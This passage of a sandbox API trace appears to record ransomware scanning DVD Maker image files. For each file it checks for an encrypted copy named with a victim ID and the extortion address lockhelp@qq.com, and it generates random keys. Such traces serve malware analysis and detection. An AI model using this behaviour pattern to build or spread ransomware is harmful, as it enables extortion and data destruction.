files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.238] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.238] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3081) returned 1 [0274.238] CloseHandle (hObject=0x310) returned 1 [0274.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png")) returned 0x20 [0274.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.238] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.238] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3887) returned 1 [0274.238] CloseHandle (hObject=0x310) returned 1 [0274.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png")) returned 0x20 [0274.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.241] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.241] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4570) returned 1 [0274.241] CloseHandle (hObject=0x310) returned 1 [0274.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png")) returned 0x20 [0274.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.242] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.243] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2820) returned 1 [0274.243] CloseHandle (hObject=0x310) returned 1 [0274.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png")) returned 0x20 [0274.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.243] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0274.322] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6431) returned 1 [0274.322] CloseHandle (hObject=0x2f8) returned 1 [0274.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png")) returned 0x20 [0274.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.323] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0274.323] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5088) returned 1 [0274.323] CloseHandle (hObject=0x2f8) returned 1 [0274.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png")) returned 0x20 [0274.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.324] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0274.357] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3130) returned 1 [0274.357] CloseHandle (hObject=0x368) returned 1 [0274.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0274.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.357] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.415] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3118) returned 1 [0274.415] CloseHandle (hObject=0x37c) returned 1 [0274.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png")) returned 0x20 [0274.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.415] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.417] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=45199) returned 1 [0274.417] CloseHandle (hObject=0x37c) returned 1 [0274.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png")) returned 0x20 [0274.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.417] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.417] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3122) returned 1 [0274.417] CloseHandle (hObject=0x37c) returned 1 [0274.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png")) returned 0x20 [0274.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.417] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.417] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1400) returned 1 [0274.418] CloseHandle (hObject=0x37c) returned 1 [0274.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png")) returned 0x20 [0274.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.418] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.418] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=35858) returned 1 [0274.418] CloseHandle (hObject=0x37c) returned 1 [0274.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png")) returned 0x20 [0274.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.418] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.419] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=194963) returned 1 [0274.419] CloseHandle (hObject=0x37c) returned 1 [0274.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png")) returned 0x20 [0274.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.419] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.419] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=10888) returned 1 [0274.419] CloseHandle (hObject=0x37c) returned 1 [0274.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png")) returned 0x20 [0274.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.420] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.420] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=10254) returned 1 [0274.420] CloseHandle (hObject=0x37c) returned 1 [0274.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png")) returned 0x20 [0274.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.420] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.421] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=10248) returned 1 [0274.421] CloseHandle (hObject=0x37c) returned 1 [0274.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd 